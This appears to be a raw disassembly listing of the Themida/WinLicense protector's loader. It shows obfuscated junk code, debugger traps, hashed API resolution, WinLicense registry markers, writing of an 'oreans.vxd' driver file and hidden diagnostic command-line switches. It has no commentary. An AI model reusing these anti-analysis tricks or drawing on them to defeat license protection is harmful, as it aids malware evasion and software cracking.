dd 258D8900h, 8B07FA0Dh, 0FA316DB5h, 6A5807h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 896012C3h
dd 0FA0585BDh, 8D2B6107h, 7FA20E9h, 118E0F50h, 0E8000000h
dd 5, 0F38CF1AFh, 0F5250D0h, 59585A31h, 0F240489h, 883h
dd 8A0F5100h, 0
; ---------------------------------------------------------------------------
pop esi
push 0
push 0
push ebx
call sub_5B0DF6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0DF6 proc near ; CODE XREF: Themida_:005B0DEEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5B0DF6 endp
; ---------------------------------------------------------------------------
fiadd word ptr [eax]
mov al, 46h
daa
xor dl, 60h
mov di, 0C094h
push 1A19A739h
jmp loc_5B0E2D
; ---------------------------------------------------------------------------
sbb [edi+47h], esi
push ss
scasd
db 67h
xchg eax, ebx
clc
mov edi, 6ABEDBD0h
cmpsd
int 3 ; Trap to Debugger
jo short loc_5B0E58
loc_5B0E2D: ; CODE XREF: Themida_:005B0E17j
xor dword ptr [esp], 1A19A7B9h
call sub_5B0E44
popf
db 64h
out dx, eax
call far ptr 1FF8h:0F334AB4Ch
sahf
; =============== S U B R O U T I N E =======================================
sub_5B0E44 proc near ; CODE XREF: Themida_:005B0E34p
var_754BCD00 = dword ptr -754BCD00h
var_C = dword ptr -0Ch
adc edi, 6D8ABA23h
pop ecx
push 3
clc
push 0
movzx ecx, di
push 3
pusha
pusha
push eax
loc_5B0E58: ; CODE XREF: Themida_:005B0E2Bj
pop ecx
mov [ebp+7FA1539h], edx
popa
popa
push 0A3D32E58h
add [esp+0Ch+var_C], 1C2CD1A8h
call near ptr loc_5B0E84+2
jno short near ptr loc_5B0E74+2
loc_5B0E74: ; CODE XREF: sub_5B0E44+2Ej
sub [esp+esi*2+0Ch+var_754BCD00+1], edx
mov ecx, 84FDE05Bh
xchg eax, edx
cmpsb
adc al, 99h
loc_5B0E84: ; CODE XREF: sub_5B0E44+29p
test eax, 5ED08BA2h
sub_5B0E44 endp ; sp-analysis failed
lea ebx, [ebp+7FCD529h]
xor edx, 1116D8E2h
mov [ebp+7FA168Dh], eax
push eax
mov edi, ecx
mov [esp], ebx
mov edx, 12100B35h
mov [ebp+7FA2781h], edx
call eax
push 0
push ebx
call sub_5B0EB9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0EB9 proc near ; CODE XREF: Themida_:005B0EB1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5B0EB9 endp
; ---------------------------------------------------------------------------
db 0B6h, 0E6h, 0DFh
dd 378D19A2h, 0BE8A2F2h, 0
; ---------------------------------------------------------------------------
cmp [ecx+3Ch], bl
cmp dh, [eax]
mov es, word ptr [ebx]
sbb [ebx+ebx+7E9h], ecx
add ch, ah
test [edx-1CD6941Ah], bh
pop edx
inc eax
jnz loc_5B0F2D
push 0
push ebp
call sub_5B0F01
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0F01 proc near ; CODE XREF: Themida_:005B0EF9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5B0F01 endp
; ---------------------------------------------------------------------------
db 0CDh, 0A8h, 28h
; ---------------------------------------------------------------------------
stosd
sal cl, 0FFh
retf
; ---------------------------------------------------------------------------
xor eax, 0D58D310Fh
sbb al, 0FAh
pop es
pop eax
jmp loc_5B1045
; ---------------------------------------------------------------------------
mov edx, [ebp+7FA328Dh]
loc_5B0F2D: ; CODE XREF: Themida_:005B0EF0j
mov ebx, eax
movsx ecx, dx
dec ebx
mov [ebp+7FA02FDh], edx
pop eax
mov esi, ebx
mov byte ptr [ebp+7FA0665h], 43h
push 0
push ebx
call sub_5B0F4E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0F4E proc near ; CODE XREF: Themida_:005B0F46p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B0F4E endp
; ---------------------------------------------------------------------------
cmc
push esi
mov ah, 31h
xchg eax, ebp
jns short near ptr loc_5B0F86+2
cli
pop es
jno loc_5B0F81
jmp loc_5B0F81
; ---------------------------------------------------------------------------
dw 5CA6h
dd 3C0F106Dh, 51D5F790h, 157C1134h
; ---------------------------------------------------------------------------
push ds
loc_5B0F81: ; CODE XREF: Themida_:005B0F67j
; Themida_:005B0F6Dj
push 59B8DC90h
loc_5B0F86: ; CODE XREF: Themida_:005B0F63j
mov di, dx
add dword ptr [esp], 66BD6E17h
clc
push dword ptr [ebp+7FA08A5h]
mov edi, [ebp+7FA0EF1h]
lea eax, [ebp+7FA3AE2h]
push 0
push edx
call sub_5B0FAE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0FAE proc near ; CODE XREF: Themida_:005B0FA6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5B0FAE endp
; ---------------------------------------------------------------------------
push esi
test [ebp-72h], bh
db 66h
mov cl, 0DCh
nop
push edi
xchg eax, ebx
jmp loc_5B0FD2
; ---------------------------------------------------------------------------
db 0A8h, 0B5h, 90h
db 0D6h, 0E8h
; ---------------------------------------------------------------------------
loc_5B0FD2: ; CODE XREF: Themida_:005B0FC8j
call eax
or [ebp+7FA2569h], ecx
push eax
pusha
jns $+6
mov eax, 299A147Dh
popa
mov [esp], ebx
mov cx, di
call eax
mov edx, [ebp+7FA0CADh]
ja loc_5B1014
call sub_5B100D
aaa
cld
xor dh, [ebx+68h]
daa
sub eax, 1BEE5FE0h
setalc
; =============== S U B R O U T I N E =======================================
sub_5B100D proc near ; CODE XREF: Themida_:005B0FFCp
jge $+6
pop edi
loc_5B1014: ; CODE XREF: Themida_:005B0FF6j
lea ebx, [ebp+7FA72FBh]
or [ebp+7FA2C95h], ecx
mov eax, 1
push 0
push edx
call sub_5B1030
and [edx-3Dh], bl
sub_5B100D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B1030 proc near ; CODE XREF: sub_5B100D+1Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B1030 endp
; ---------------------------------------------------------------------------
dd 0FFE2C454h
db 0E3h
; ---------------------------------------------------------------------------
loc_5B1045: ; CODE XREF: Themida_:005B0F22j
mov eax, ecx
mov eax, eax
push 0
push ebp
call sub_5B1054
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1054 proc near ; CODE XREF: Themida_:005B104Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5B1054 endp
; ---------------------------------------------------------------------------
adc bl, [ecx+ebx+37h]
ficomp word ptr [ecx]
jnz loc_5B1080
jmp loc_5B1080
; ---------------------------------------------------------------------------
db 3Fh, 10h, 81h
dd 0B9E6F874h, 87FB7C8Fh
; ---------------------------------------------------------------------------
loc_5B1080: ; CODE XREF: Themida_:005B106Aj
; Themida_:005B1070j
cmp dword ptr [ebp+7FA2ACDh], 0
jnz short loc_5B1092
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B10AB
loc_5B1092: ; CODE XREF: Themida_:005B1087j
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+7FA1581h], eax
lea ebx, [ebp+7FCE28Bh]
call ebx ; _iob
pop ebx
pop eax
loc_5B10AB: ; CODE XREF: Themida_:005B1090j
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B10CB
push eax
push ebx
mov eax, 40Fh
mov [ebp+7FA1581h], eax
lea ebx, [ebp+7FCDF2Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5B10CB: ; CODE XREF: Themida_:005B10B2j
mov [ebp+7FA0E19h], esi
mov ecx, [ebp+7FA0E29h]
jmp loc_5B10E7
; ---------------------------------------------------------------------------
dd 0A04AF3Dh, 849E815Ah
db 85h, 81h, 97h
; ---------------------------------------------------------------------------
loc_5B10E7: ; CODE XREF: Themida_:005B10D7j
mov eax, eax
jmp loc_5B1198
; ---------------------------------------------------------------------------
aSoftwareWinlic db 'Software\WinLicense',0
aCheckin db 'CheckIN',0
aXprotexit db 'XprotExit',0
aCheckout db 'CheckOUT',0
aWinlicensevers db 'WinLicenseVersion',0
aWinlicensedriv db 'WinLicenseDriverVersion',0
aWinlicenseinst db 'WinLicenseInstance',0
aExitok db 'ExitOk',0
aProcin db 'ProcIN',0
aProcout db 'ProcOUT',0
aExitin db 'ExitIN',0
aExitout db 'ExitOUT',0
aTpin db 'TpIN',0
align 10h
dd 77DEB908h, 77DFD5BBh
; ---------------------------------------------------------------------------
loc_5B1198: ; CODE XREF: Themida_:005B10E9j
jmp loc_5B1733
; ---------------------------------------------------------------------------
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 19h
push dword ptr [ebp+7FCDD47h]
push 1
push 0
lea eax, [ebp+7FCDCDCh]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD06h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDCEEh]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD19h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDCC9h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA17D1h], 0
jz locret_5B136C
mov ebx, [ebp+7FA17D1h]
add ebx, 4Ch
mov [ebx], eax
locret_5B136C: ; CODE XREF: Themida_:005B135Bj
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA17D1h], 0
jz locret_5B1385
mov ebx, [ebp+7FA17D1h]
add ebx, 50h
mov [ebx], eax
locret_5B1385: ; CODE XREF: Themida_:005B1374j
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA17D1h], 0
jz locret_5B139E
mov ebx, [ebp+7FA17D1h]
add ebx, 54h
mov [ebx], eax
locret_5B139E: ; CODE XREF: Themida_:005B138Dj
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA17D1h], 0
jz locret_5B13B7
mov ebx, [ebp+7FA17D1h]
add ebx, 58h
mov [ebx], eax
locret_5B13B7: ; CODE XREF: Themida_:005B13A6j
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA17D1h], 0
jz locret_5B13D0
mov ebx, [ebp+7FA17D1h]
add ebx, 5Ch
mov [ebx], eax
locret_5B13D0: ; CODE XREF: Themida_:005B13BFj
retn
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD3Eh]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B142B
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B142B: ; CODE XREF: Themida_:005B1419j
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD20h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B1492
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B1492: ; CODE XREF: Themida_:005B1480j
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD27h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B14F9
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B14F9: ; CODE XREF: Themida_:005B14E7j
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD2Fh]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B1560
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B1560: ; CODE XREF: Themida_:005B154Ej
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDD36h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B15C7
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B15C7: ; CODE XREF: Themida_:005B15B5j
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov dword ptr [ebp+7FCDD47h], 1
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000002h
call dword ptr [ebp+7FCDD53h]
or eax, eax
jz loc_5B1610
mov dword ptr [ebp+7FCDD47h], 0
jmp loc_5B165D
; ---------------------------------------------------------------------------
loc_5B1610: ; CODE XREF: Themida_:005B15FBj
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDCC1h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
or eax, eax
jz loc_5B1647
mov dword ptr [ebp+7FCDD47h], 0
jmp loc_5B1651
; ---------------------------------------------------------------------------
loc_5B1647: ; CODE XREF: Themida_:005B1632j
mov dword ptr [ebp+7FCDD47h], 1
loc_5B1651: ; CODE XREF: Themida_:005B1642j
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
loc_5B165D: ; CODE XREF: Themida_:005B160Bj
popa
mov eax, [ebp+7FCDD47h]
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDCC1h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B16BE
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B16BE: ; CODE XREF: Themida_:005B16ACj
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FCDD47h], eax
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
push 4
lea eax, [ebp+7FCDD47h]
push eax
push 4
push 0
lea eax, [ebp+7FCDCD3h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2029h]
cmp dword ptr [ebp+7FA2ACDh], 0
jz loc_5B1725
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FCDD4Fh]
loc_5B1725: ; CODE XREF: Themida_:005B1713j
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
popa
retn
; ---------------------------------------------------------------------------
loc_5B1733: ; CODE XREF: Themida_:loc_5B1198j
mov byte ptr [ebp+7FA0665h], 52h
push 0ADE47B07h
push dword ptr [ebp+7FA0AF5h]
call dword ptr [ebp+7FA2539h]
mov [ebp+7FCDD53h], eax
mov byte ptr [ebp+7FA0665h], 52h
push 902E00E5h
push dword ptr [ebp+7FA0AF5h]
call dword ptr [ebp+7FA2539h]
mov [ebp+7FCDD4Fh], eax
mov byte ptr [ebp+7FA0665h], 52h
push 0B9BF1235h
push dword ptr [ebp+7FA0AF5h]
call dword ptr [ebp+7FA2539h]
mov [ebp+7FA2029h], eax
mov byte ptr [ebp+7FA0665h], 52h
push 98781034h
push dword ptr [ebp+7FA0AF5h]
call dword ptr [ebp+7FA2539h]
mov [ebp+7FA2341h], eax
mov byte ptr [ebp+7FA0665h], 52h
push 0C005DBD4h
push dword ptr [ebp+7FA0AF5h]
call dword ptr [ebp+7FA2539h]
mov [ebp+7FA1F0Dh], eax
jmp loc_5B19DC
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
align 4
dd 67h dup(0)
dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B19DC: ; CODE XREF: Themida_:005B17C9j
jmp loc_5B1AD0
; ---------------------------------------------------------------------------
mov byte ptr [ebp+7FA0665h], 47h
push 0E3E45B86h
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
push 104h
lea ebx, [ebp+7FA2FADh]
push ebx
call eax
push eax
lea esi, [ebp+7FCE585h]
mov edi, esi
xor al, al
loc_5B1A14: ; CODE XREF: Themida_:005B1A15j
scasb
jnz loc_5B1A14
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+7FA0665h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
lea esi, [ebp+7FA2FADh]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+7FA0665h], 57h
push 0A69BEE56h
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
lea edi, [ebp+7FA25D9h]
lea ecx, [ebp+7FCE6ABh]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_5B1AB2
lea esi, [ebp+7FCE38Dh]
lea eax, [ebp+7FCD38Ah]
call eax
lea ecx, [ebp+7FA72FBh]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_5B1AB2: ; CODE XREF: Themida_:005B1A91j
mov byte ptr [ebp+7FA0665h], 43h
push 0C0764AA7h
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_5B1AD0: ; CODE XREF: Themida_:loc_5B19DCj
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_5B1AE7
; ---------------------------------------------------------------------------
mov eax, ebx
loc_5B1AE7: ; CODE XREF: Themida_:005B1AE0j
jmp loc_5B52BC
; ---------------------------------------------------------------------------
dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0
dd 40h, 8 dup(0)
dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
dd 454Ch, 0
dd 40002h, 0
dd 38000h, 14h, 4 dup(0)
dd 200h, 1C0h, 90h, 0
dd 7Eh, 0
dd 0C4h, 1, 0DCh, 3 dup(0)
dd 12Ch, 138h, 2 dup(0)
dd 142h, 196h, 1D2h, 0
dd 1D2h, 0
dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
dd 4000000h, 27C0h, 0
dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h
dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
dd 10301h, 3, 0
dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h
dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
dd 7279801h, 1016B00h, 2771h, 360h dup(0)
dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp db 'verPP',0
align 10h
a1vsr2vsr3vsr db '1vsR2vsR3vsR',0
align 10h
dd 9C3h dup(0)
; ---------------------------------------------------------------------------
sub eax, 1Bh
cmp eax, 9
jnb short loc_5B525B
jmp dword ptr ds:0[eax*4]
; ---------------------------------------------------------------------------
loc_5B525B: ; CODE XREF: Themida_:005B5252j
clc
retn
; ---------------------------------------------------------------------------
align 10h
dd 8 dup(0)
dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
dd 5250580Ch, 5856544Fh, 44445F44h, 42h
; ---------------------------------------------------------------------------
loc_5B52BC: ; CODE XREF: Themida_:loc_5B1AE7j
jmp loc_5B535A
; ---------------------------------------------------------------------------
db 2Fh, 62h, 75h
aGcheck2 db 'gcheck2',0
aBugcheck db '/bugcheck',0
aForcerun db '/forcerun',0
aBugcheckfull db '/bugcheckfull',0
aShowcode db '/showcode',0
aShowcode2 db '/showcode2',0
aClrt db '/clrt',0
aDis1 db '/dis1',0
aShowinstance db '/showinstance',0
aGetwlstatus db '/getwlstatus',0
aLogstatus db '/logstatus',0
aDumpstatus db '/dumpstatus',0
align 4
dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B535A: ; CODE XREF: Themida_:loc_5B52BCj
cmp dword ptr [ebp+7FD1F00h], 0
jz loc_5B5371
mov dword ptr [ebp+7FA1899h], 1
loc_5B5371: ; CODE XREF: Themida_:005B5361j
mov byte ptr [ebp+7FA0665h], 47h
call sub_5B5381
lea ebp, [ebp+ebp*2-70h]
; =============== S U B R O U T I N E =======================================
sub_5B5381 proc near ; CODE XREF: Themida_:005B5378p
; FUNCTION CHUNK AT 005B56D3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005B573C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005B5761 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005B5798 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005B687D SIZE 0000008B BYTES
push eax
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
call eax
mov edi, eax
cmp byte ptr [edi], 22h
jnz loc_5B53CA
inc edi
mov al, 22h
loc_5B53AB: ; CODE XREF: sub_5B5381+2Bj
scasb
jnz loc_5B53AB
cmp byte ptr [edi], 0
jz loc_5B56D3
inc edi
cmp byte ptr [edi], 0
jz loc_5B56D3
jmp loc_5B53E8
; ---------------------------------------------------------------------------
loc_5B53CA: ; CODE XREF: sub_5B5381+21j
; sub_5B5381+62j
cmp byte ptr [edi], 0
jz loc_5B56D3
cmp byte ptr [edi], 20h
jnz loc_5B53E2
inc edi
jmp loc_5B53E8
; ---------------------------------------------------------------------------
loc_5B53E2: ; CODE XREF: sub_5B5381+55j
inc edi
jmp loc_5B53CA
; ---------------------------------------------------------------------------
loc_5B53E8: ; CODE XREF: sub_5B5381+44j
; sub_5B5381+5Cj ...
cmp byte ptr [edi], 0
jnz loc_5B53F6
jmp loc_5B56D3
; ---------------------------------------------------------------------------
loc_5B53F6: ; CODE XREF: sub_5B5381+6Aj
jmp loc_5B53FC
; ---------------------------------------------------------------------------
loc_5B53FB: ; CODE XREF: sub_5B5381+7Ej
inc edi
loc_5B53FC: ; CODE XREF: sub_5B5381:loc_5B53F6j
cmp byte ptr [edi], 20h
jz loc_5B53FB
cmp byte ptr [edi], 0
jnz loc_5B5413
jmp loc_5B56D3
; ---------------------------------------------------------------------------
loc_5B5413: ; CODE XREF: sub_5B5381+87j
call sub_5B5422
jmp loc_5B53E8
sub_5B5381 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp loc_5B56D3
; =============== S U B R O U T I N E =======================================
sub_5B5422 proc near ; CODE XREF: sub_5B5381:loc_5B5413p
lea esi, [ebp+7FD1E80h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B544B
mov dword ptr [ebp+7FA2ACDh], 1
retn
; ---------------------------------------------------------------------------
loc_5B544B: ; CODE XREF: sub_5B5422+18j
lea esi, [ebp+7FD1E8Bh]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5474
mov dword ptr [ebp+7FA1899h], 1
retn
; ---------------------------------------------------------------------------
loc_5B5474: ; CODE XREF: sub_5B5422+41j
lea esi, [ebp+7FD1F04h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B549D
mov dword ptr [ebp+7FA18D9h], 1
retn
; ---------------------------------------------------------------------------
loc_5B549D: ; CODE XREF: sub_5B5422+6Aj
lea esi, [ebp+7FD1E95h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B54C6
mov dword ptr [ebp+7FA1899h], 1
retn
; ---------------------------------------------------------------------------
loc_5B54C6: ; CODE XREF: sub_5B5422+93j
lea esi, [ebp+7FD1E9Fh]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B54F9
mov dword ptr [ebp+7FA1899h], 1
mov dword ptr [ebp+7FA2ACDh], 1
retn
; ---------------------------------------------------------------------------
